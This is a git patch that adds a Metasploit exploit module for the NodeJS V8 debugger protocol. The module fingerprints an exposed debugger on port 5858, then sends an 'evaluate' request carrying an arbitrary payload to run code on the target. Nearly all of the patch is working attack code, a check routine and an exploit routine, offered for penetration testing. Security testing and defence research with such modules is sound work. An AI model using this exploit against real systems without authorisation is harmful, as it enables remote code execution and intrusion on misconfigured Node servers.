From d71f7876b8e8c3465b57b711940b34e0153f0bc1 Mon Sep 17 00:00:00 2001
From: Patrick Thomas <patrickt@netflix.com>
Date: Sun, 3 Sep 2017 17:21:02 -0700
Subject: [PATCH] initial commit of nodejs debugger eval exploit

---
 .../exploits/multi/misc/nodejs_v8_debugger.rb | 89 +++++++++++++++++++
 1 file changed, 89 insertions(+)
 create mode 100644 modules/exploits/multi/misc/nodejs_v8_debugger.rb

diff --git a/modules/exploits/multi/misc/nodejs_v8_debugger.rb b/modules/exploits/multi/misc/nodejs_v8_debugger.rb
new file mode 100644
index 0000000000..968ad5ed29
--- /dev/null
+++ b/modules/exploits/multi/misc/nodejs_v8_debugger.rb
@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  MESSAGE_HEADER_TEMPLATE   = "Content-Length: %{length}\r\n\r\n"
+  MESSAGE_TEMPLATE          = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}'
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "NodeJS Debugger Command Injection",
+      'Description'    => %q{
+        This module uses the "evaluate" request type of the NodeJS V8
+        debugger protocol (version 1) to evaluate arbitrary JS and
+         call out to other system commands. The port (default 5858) is
+        not exposed non-locally in default configurations, but may be
+        exposed either intentionally or via misconfiguration.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
+      'References'     =>
+        [
+          [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
+          [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
+        ],
+#      'Platform'       => ['node'],
+#      'Arch'           => [ ARCH_NODEJS ],
+      'Targets'        =>
+        [
+          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Aug 15 2016",
+      'DefaultTarget'  => 0)
+    )
+
+    register_options(
+      [
+        Opt::RPORT(5858)
+      ])
+  end
+
+  def make_eval_message
+      escaped_payload = payload.encoded.gsub(/"/, '\\"')
+      msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
+      msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
+      return msg_header + msg_body
+  end
+
+  def check
+    connect
+    res = sock.get_once
+    disconnect
+
+    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
+      vprint_status("Got debugger handshake:\n#{res}")
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    connect
+    # must consume incoming handshake before sending payload
+    buf = sock.get_once
+    msg = make_eval_message
+    print_status("Sending #{msg.length} byte payload...")
+    vprint_status("#{msg}")
+    sock.put(msg)
+    buf = sock.get_once
+
+    if buf.include? '"command":"evaluate","success":true'
+      print_status("Got success response")
+    elsif buf.include? '"command":"evaluate","success":false'
+      print_error("Got failure response: #{buf}")
+    else
+      print_error("Got unexpected response: #{buf}")
+    end
+
+    handler
+  end
+
+end